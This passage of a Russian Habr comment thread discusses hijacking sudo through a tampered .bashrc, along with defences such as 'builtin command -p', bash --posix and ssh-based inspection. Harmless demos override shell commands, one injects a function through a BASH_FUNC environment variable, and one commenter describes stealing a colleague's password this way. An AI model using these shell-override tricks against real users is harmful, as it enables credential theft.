можно вообще писать «s»u
Alias substitution
http://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_03_01
amarao
22.02.2017 13:32У нас на серверах используется pam_ssh_agent, который проверяет SSH-ключ пользователя перед тем, как дать судо.
При том, что прокидывание ключа само по себе не очень хорошая идея, получающаяся конструкция всё-таки более устойчива к краже креденшиалов, чем при использовании паролей. Злоумышленник может что-то сделать от имени пользователя, но только в то время, когда ключ доступен.
atoshin
22.02.2017 13:37-3Госсподи, ну и бредятина, давненько я такого не читал. Куда катится хабр? Люди на всю готовы ради кармы. Не удивлюсь скорому появлению какого-нибудь флагшток-куна на хабре.
rPman
22.02.2017 14:17+3Госсподи, откуда у людей столько желчи и злобы?
Например, для меня этот вид вектора атаки является откровением, хотя считал себя чуть продвинутым пользователем!
AlexeySaff
23.02.2017 04:54-1в чем тут атака, поясните? кто-то как-то пробрался к вашему bashrc?
VolCh
23.02.2017 06:47+3Кто-то как-то пробрался — это условие атаки. Атака заключается в получении вашего пароля для повышения привилегий.
AVX
26.02.2017 18:38Какие есть способы обойти проблему, если есть подозрение, что аккаунт скомпрометирован (bashrc подменили).
Можно переименовать или удалить bashrc, но ведь и эти команды могут быть подменены на функции…
Пока вижу только запустить mc и в нём посмотреть bashrc. Правда, ведь и в mc можно какие-нибудь настройки сделать злонамеренные.ZyXI
26.02.2017 20:20Никак. Если получен доступ к аккаунту пользователя, то нужно воспользоваться другим:
ssh
, во?первых, всегда использует оболочку для исполнения любой команды (а оболочка читает некоторые настройки даже в неинтерактивном режиме), во?вторых, исполняет ~/.ssh/rc. Оба этих варианта могут быть использованы для того, чтобы подделать произвольную программу в окружении, хотя и разными способами (второй проще всего сводить к первому: восстанавливать заражённые настройки). Т.е. если, к примеру, вы запустилиssh machine -- echo '1 2'
, то вы получите следующие execve вызовы:
/bin/sh -c '$SHELL -c "/bin/sh .ssh/rc"' $SHELL -c '/bin/sh .ssh/rc' /bin/sh .ssh/rc # Кто вообще придумал такой странный способ работы с .ssh/rc?! $SHELL -c 'echo 1 2' # Да, ssh благополучно выбросил информацию о разделении на аргументы.
С zsh всё уже плохо: он читает файлы вроде ~/.zshenv даже в неинтерактивном режиме. Bash не читает в неинтерактивном режиме никаких файлов настроек… если только вы не определили переменную
BASH_ENV
(или bash запущен в неинтерактивном режиме и с именем/bin/sh
, тогда вообще никаких файлов никогда не читается). А определить данную переменную можно в ~/.ssh/environment, если только оно не запрещено (по умолчанию запрещено).
Кроме того,
chsh
вроде работает без sudo и без требований пароля, так что ~/.ssh/rc поможет с «не той» оболочкой (работать начнёт со следующего запуска ssh, первый запуск с неизменённой оболочкой). Если, конечно, администратор не запретил.
Впрочем, sshd можно запретить использовать как ~/.ssh/rc, так и ~/.ssh/environment, первое по?умолчанию разрешено.
Таким образом, предполагая, что
- Злоумышленник может писать в любое место, куда может писать пользователь.
- ~/.ssh/rc разрешено, а ~/.ssh/environment нет.
- Злоумышленник ещё не подменил оболочку (если есть куда положить исполняемый файл и chsh работает, то никаких способов избежать использования подменённой оболочки нет — даже sshfs запускает оболочку пользователя).
- ~/.ssh/rc настроено так, чтобы подменять файлы настроек и запускать chsh.
- Используется оболочка, не читающая какие?либо пользовательские файлы при неинтерактивном запуске.
то способ как?то избежать проблемы будет
ssh remote -- 'chsh -s /bin/sh ; cat suspicious-file' | less # Просмотр подозрительного файла: нафига вам mc? Просто гоните файл по сети. ssh remote -- 'chsh -s /bin/sh ; rm -f suspicious-file' | less # Удаление подозрительного файла.
(Уберите chsh, если подменять ей оболочку без пароля/sudo нельзя.)
Но если что?то из условий не выполняется, то бегите к кому?то с бо?льшими привилегиями либо физическим доступом.
ZyXI
26.02.2017 20:24В общем, есть подозрения — не используйте сложные программы с настройками.
cat
иrm
не имеют никаких файлов настроек, если вам как?то не подменили $PATH или оболочку (и вы не используете zsh в качестве оной), то беспокоиться не о чём. Но проверить, не подменили ли вам оболочку в общем случае вы не сможете.
vorakl
28.02.2017 16:11Не всё так страшно на самом деле. Если хочется быть уверенным в комманде, которую запускаешь или цель написать скрипт, устойчивый к подобного рода ситуациям, то в BASH есть built-in комманда command:
command [-pVv] command [arg ...]
Run command with args suppressing the normal shell function lookup. Only builtin commands or commands found in the PATH are executed. If the -p option is given, the search for command is performed using a default value for PATH that is guaranteed to find all of the standard utilities.
и в добавок builtin, для запуска только таковых комманд
builtin shell-builtin [arguments]
Execute the specified shell builtin, passing it arguments, and return its exit status. This is useful when defining a function whose name is the same as a shell builtin, retaining the functionality of the builtin within the function.
И вот как это работает для приведённого выше примера.
Можно игнорировать одноимённые функции при помощи 'command sudo' или даже 'command -p sudo'.
Если же кто-то попытается установить alias для command, тогда можно усилить решение через 'builtin command -p sudo'. Но если кто-то пойдёт ещё дальше, и установит alias для builtin, то можно в начале скрипта запустить команду 'unalias builtin' и потом все критичеки важные комманды запускать при помощи последнего варианта. А чтобы не делать это решение сильно усложнённым, можно начинать скрипт как
#!/bin/bash
unalias builtin
function run() { builtin command -p "$@"; }
run sudo
Ещё не плохо было бы переопределять всегда PATH в начале скрипта на что-то, что вы ожидаете там увидеть.
Итого:
$ /usr/bin/sudo -V
Sudo version 1.8.18p1
Sudoers policy plugin version 1.8.18p1
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.18p1
$ alias sudo=«echo SuD0»
$ function /usr/bin/sudo() { echo 'Truly '; }
$ alias command=«echo 'Really '»
$ alias builtin=«echo 'Eventually '»
$ /usr/bin/sudo -V
Truly
$ sudo -V
SuD0 -V
$ command sudo -V
Really sudo -V
$ command /usr/bin/sudo -V
Really /usr/bin/sudo -V
$ builtin command sudo -V
Eventually command sudo -V
$ unalias builtin
$ builtin command sudo -V
Sudo version 1.8.18p1
Sudoers policy plugin version 1.8.18p1
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.18p1
$ function run() { builtin command -p "$@"; }
$ run sudo -V
Sudo version 1.8.18p1
Sudoers policy plugin version 1.8.18p1
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.18p1ZyXI
28.02.2017 23:47Писать
unalias
в скрипте абсолютно бесполезно: это интерактивная возможность. Скрипты вообще обычно запускаются без того, чтобы bash загружал какие?то файлы (но даже если он их загружает через BASH_ENV, а вы указали именно#!/bin/bash
или написалиbash script.sh
, то именно alias’ы использоваться не будут, в отличие от функций). К тому же, все ваши методы из похаканного bash абсолютно бесполезны: и unalias, и unset, и builtin, и command — всё может быть переопределено как функции. Как функции не могут быть переопределены только синтаксические конструкты вродеif
илиfunction
(точнее, можно определить функцииif
иfunction
, простоbash
не будет их использовать, если только вы не напишете что?то вроде'if' funcarg1
).ZyXI
28.02.2017 23:54Кстати,
alias unalias='echo FOO'
тоже работает. Но адекватный злоумышленник не будет использоватьalias
в принципе: достаточно написать\unalias unalias
и alias уберётся. С функциями у вас ничего такого не выйдет, они уберутся только отunset -f
, ноunset
тоже может быть функцией.vorakl
01.03.2017 00:36По крайней мере, именно эту проблему, --posix параметр решает, не беря во внимание особенностей работы bash в этом режиме
$ cat a.sh
#!/bin/bash --posix
function builtin() { echo new_builtin; }
function command() { echo new_command; }
function echo() { :; }
unset -f builtin
builtin command echo Hello World
$ ./a.sh
Hello World
vorakl
01.03.2017 00:26Да, с alias в скриптах, справедливо ;)
А на счёт unset как новая функция, есть ещё параметр --posix и он то не даст переопределить unset, а значит и 'unset -f builtin' в начале скрипта должен сработать.
$ bash --posix -c 'function unset() { echo new-unset; }'
bash: `unset': is a special builtinZyXI
01.03.2017 01:20+1А кто будет это posix подставлять? Напоминаю, статья вообще?то об интерактивной оболочке.
ssh
ничем подобным не занимается по?умолчанию. И не по?умолчанию вы ничего подобного делать не захотите: с--posix
вам нужно как?то извратиться и определить переменнуюENV
, иначе никакихbashrc
bash
читать не будет. И файл по$ENV
будет также уязвим, как и любой другой ваш файл настроек. В том числе он может перезапуститьbash
уже без--posix
. А использованиеssh
в ключеssh remote 'chsh -s /bin/sh ; cat ~/.bashrc'
(как я предлагал здесь) ровно настолько же имунно к изменениям в файловой системе в$HOME
, насколько имунны скрипты.
Самый простой способ избежать атаки, описанной в статье: создавать файлы настроек из?под этого самого
sudo
, пароль к которому предлагается уводить. Тогда злоумышленнику понадобится больше, нежели возможность редактировать ФС с правами непривилегированного пользователя. Собственно, автор приводит этот вариант в последнем абзаце как оптимальный.
Вот если же предполагается какой?то доступ к переменным среды (т.е. то, что предполагается в цитате из руководства), причём не ограниченный
$PATH
, то всё плохо: я не раз упоминал здесь про$BASH_ENV
, правда он испортит вам только скрипты иbash -c
(а вот--posix
+$ENV
испортит только интерактивную оболочку). Зато$PROMPT_COMMAND
, если не переопределяется вbashrc
, испортит интерактивную оболочку (в т.ч. с--posix
). Плюс bash с настройками по?умолчанию позволяет определять функции в переменных окружения (хотя не все способы определить эти переменные тут сработают, т.к. обычно считается, что знака%
в имени такой переменной быть не может, а он нужен): к примеру, с
env BASH_FUNC_unset%%='() { echo vulnerable } bash
вы будете иметь переопределённую функцию
unset
, или DOS?атаку, если попытаетесь использовать--posix
(bash не даст переопределить unset, равно как не даст и выполнить что?либо). Причём, замечу, скрипты тоже уязвимы, а файлов настроек, в которых можно было бы запретить экспорт функций bash читать не будет.
gromogryzl
28.02.2017 16:11Все действительно работает как написано. Только эту технику можно использовать для другого взлома: например директор отошел от своего компа и забыл его локнуть, а ты сел в его кресло и эту бяку настучал. На другой день переписал пароль на бумажку и подтер следы!
phoenixweiss
С одной стороны ничего принципиально нового, но с другой стороны — правда, все так и есть и мало кто об этом задумывается. Как правило в случае утечки рутовых доступов лучше сносить контейнер вообще нафиг, перед этим постаравшись забэкапить что возможно. У нас однажды году в 2012-м через один PHP-сайтик доставшийся в наследство от прошлых разработчиков ломали сервак сделав нечто подобное, залив код спионеривания пароля.
С тех пор пароли везде отключены, все движения и привелегии только по RSA-ключам и сайтики на PHP после кого-бы-то-нибыло ни за какие деньги не берем в обслуживание, особенно на каких-то сомнительных админках. Да и с 2013-го в работе только Ruby/Rails используем, через дефолтный деплой-паттерн по deploy-ключам, так что руками никто никуда не влезает вообще. На особо важных серверах доступ руту к ssh вообще заблокирован, только через отдельного пользователя по ключам.
А если быть честным — никогда нельзя быть ни от чего застрахованным и произойти может что угодно. На любую меру безопасности есть контр-мера, вопрос только в том чтобы найти оптимальный уровень удобный для работы но при этом относительно безопасный.
phoenixweiss
Господа минусующие, напоминаю что на хабре существуют комментарии. Было бы крайне интересно послушать в чем я не прав и возможно сделать какие-то выводы.
maximw
Рискну предположить, что это связано с высказанной вами слишком слабой или даже ложной корреляцией языка программирования и дырявости сайта. Плюс, возможно, связано с тем, что вы поставили крест на языке программирования, толком не разобравшись в современных инструментах деплоя его (языка) экосистемы.
phoenixweiss
Спасибо. Понятное дело что сейчас есть и современные инструменты деплоя, но к сожалению сайтики которые достаются «на доработку» после горе-фрилансеров чаще всего бывают написаны на какой-нибудь джумле, симпле, старом изувеченном вордпрессе или спионеренном битриксе, временами со всякой вирусней. Ничего предвзятого — личная статистика. В период с 2008-го по 2013-й год с просьбами «спасите помогите» по разным причинам нам передали порядка 12 сайтов с разными проблемами, из них 3 на Ruby/Rails и 9 на PHP(разные CMS). Так вот, рельсовые были просто написаны тяп-ляп но вполне пригодны к обслуживанию(как минимум вся история коммитов была у каждого, т.к. это часть инфраструктуры), а вот PHP-братья практически все (кроме одного, который делали относительно адекватные люди) были с полным букетом всевозможных гадостей начиная от вирусни которая почему-то случайным образом поудаляла строки из каждого третьего скрипта, и заканчивая невыпиленными якобы-nulled модулями которые по своей сути являлись троянцами, где-то были обфусцированные виртуальные шеллы. В общем — зоопарк да и только. У нас даже сервер отдельный был для этого дела, с говорящим именем kenny.
Я не хочу никого обидеть лично, но к сожалению многие PHP-проекты работающие в интернете до сих пор, работают без СКВ на сомнительных виртуальных хостингах и на непонятных CMS разного розлива. Да, к тому времени как стали появляться современные фреймворки на PHP уже были написаны миллионы говносайтов.
Я не утверждаю что один язык лучше другого, я говорю лишь о том что не все кошки — львы, но все львы — кошки.